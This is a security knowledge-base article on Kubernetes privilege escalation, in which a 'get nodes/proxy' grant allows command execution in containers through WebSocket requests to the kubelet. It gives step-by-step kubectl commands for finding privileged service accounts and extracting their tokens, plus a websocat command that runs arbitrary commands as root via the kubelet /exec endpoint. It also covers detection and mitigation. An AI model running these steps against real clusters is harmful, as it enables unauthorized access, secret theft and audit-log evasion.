Kubelet nodes/proxy Privilege Escalation via WebSocket
Any principal with get nodes/proxy RBAC permission can execute commands in any container on reachable nodes by sending a WebSocket connection directly to the kubelet API on port 10250. The Kubernetes RBAC documentation states: "get permission on nodes/proxy is not a read-only permission, and authorizes access to endpoints which can be used to execute commands in any container running on the node."
This attack targets the kubelet directly, bypassing the Kubernetes API server. It does not pass through admission control and does not appear in Kubernetes API server audit logs.
How get nodes/proxy Enables Command Execution
The kubelet maps the HTTP method of an incoming request to the RBAC verb used for authorization. The WebSocket protocol (RFC 6455) requires an HTTP GET request for the initial connection handshake. The kubelet maps this GET to the RBAC get verb and authorizes the request without a secondary check for create permission — which the API server would require for the same operation via pods/exec.
The Kubernetes RBAC good-practices documentation describes the result: "These APIs can be exercised via websocket HTTP GET requests, which only requires authorization of the get verb... permission to get nodes/proxy provides access to privileged kubelet APIs that can retrieve container logs or execute and attach to pod processes, even when a caller does not have the equivalent permissions through the Kubernetes API."
All kubelet API endpoints that are not mapped to a dedicated subresource (stats, metrics, log, spec, checkpoint) fall through to the proxy subresource. This catch-all bucket includes /exec, /attach, /portForward, and /run.
Exploitation Steps
This scenario assumes an attacker has obtained a service account token from a monitoring or observability workload that was granted get nodes/proxy to read kubelet health or pod state.
1. Identify Service Accounts with nodes/proxy Access
kubectl get clusterroles -o json \
| jq -r '.items[] | select(.rules[]?.resources[]? == "nodes/proxy") | .metadata.name'
kubectl get clusterrolebindings -o json \
| jq -r '.items[]
| select(.roleRef.kind == "ClusterRole")
| select(.roleRef.name as $r | ["nodes-proxy-reader","monitoring-agent-role"] | index($r))
| "\(.subjects[].name) -> \(.roleRef.name)"'
Review each result. Monitoring agents, log collectors, and health-check sidecars are common holders of nodes/proxy.
2. Obtain the Service Account Token
Extract the token from a running pod that uses the target service account:
kubectl exec -n monitoring prometheus-0 -- \
cat /var/run/secrets/kubernetes.io/serviceaccount/token
Or retrieve a projected short-lived token from any pod where the service account is mounted:
kubectl exec -n monitoring prometheus-0 -- \
cat /var/run/secrets/kubernetes.io/serviceaccount/token
export TOKEN=$(kubectl exec -n monitoring prometheus-0 -- \
cat /var/run/secrets/kubernetes.io/serviceaccount/token)
3. Locate a Target Node IP
kubectl get nodes -o jsonpath='{range .items[*]}{.metadata.name}{"\t"}{.status.addresses[?(@.type=="InternalIP")].address}{"\n"}{end}'
4. Execute Commands via WebSocket
With the token and a target node IP, open a WebSocket connection directly to the kubelet's /exec endpoint. The HTTP GET upgrade handshake is authorized by the get nodes/proxy grant:
export NODE_IP=<node-internal-ip>
export TOKEN=<service-account-token>
websocat --insecure \
--header "Authorization: Bearer $TOKEN" \
--protocol v4.channel.k8s.io \
"wss://$NODE_IP:10250/exec/default/nginx/nginx?output=1&error=1&command=id"
The kubelet returns command output from inside the container:
uid=0(root) gid=0(root) groups=0(root)
The /exec, /attach, /portForward, and /run paths all fall through to nodes/proxy. The attacker can substitute any namespace, pod, container, and command. No create permission on pods/exec is required.
Result
A principal with only get nodes/proxy can:
- Execute arbitrary commands in any container on any node reachable from the attacker's network position
- Exfiltrate secrets and credentials from running containers (
/proc/<pid>/environ, application config files, mounted secrets) - Escape to the node if any reachable container is privileged or has a
hostPathvolume - Move laterally to other pods by reading their environment variables or injecting into shared network namespaces
All of these actions target the kubelet API directly. They bypass the Kubernetes admission control chain and are not logged by the Kubernetes API server audit system. Detection depends on kubelet-level logging or eBPF-based runtime security (such as Falco or Tetragon) watching for unexpected exec activity.
Scope: What This Attack Requires
This attack requires:
- A valid credential — a service account token or X.509 client certificate with
get nodes/proxygranted - Network access to the kubelet's port 10250 on target nodes
It is distinct from two related attack vectors:
- Exposed Kubelet API — targets a kubelet with anonymous authentication enabled; no credentials are required at all
- Kubelet Anonymous Authentication Abuse — exploits the kubelet being configured to accept requests with no identity
The nodes/proxy WebSocket attack applies even when the kubelet is correctly configured to require authentication. The issue is not authentication — it is the RBAC verb mapping for WebSocket-based requests. A monitoring agent with a legitimately issued, non-expired token is exactly the type of principal this attack exploits.
Mitigation
➡ Fine-grained Kubelet API Authorization

References
This article is based on information from the following official sources:
- API Server Bypass Risks - Kubernetes Documentation
- RBAC Good Practices - Kubernetes Documentation
- Kubelet Authentication and Authorization - Kubernetes Documentation
- Kubernetes v1.36: Fine-Grained Kubelet API Authorization Graduates to GA - Kubernetes Blog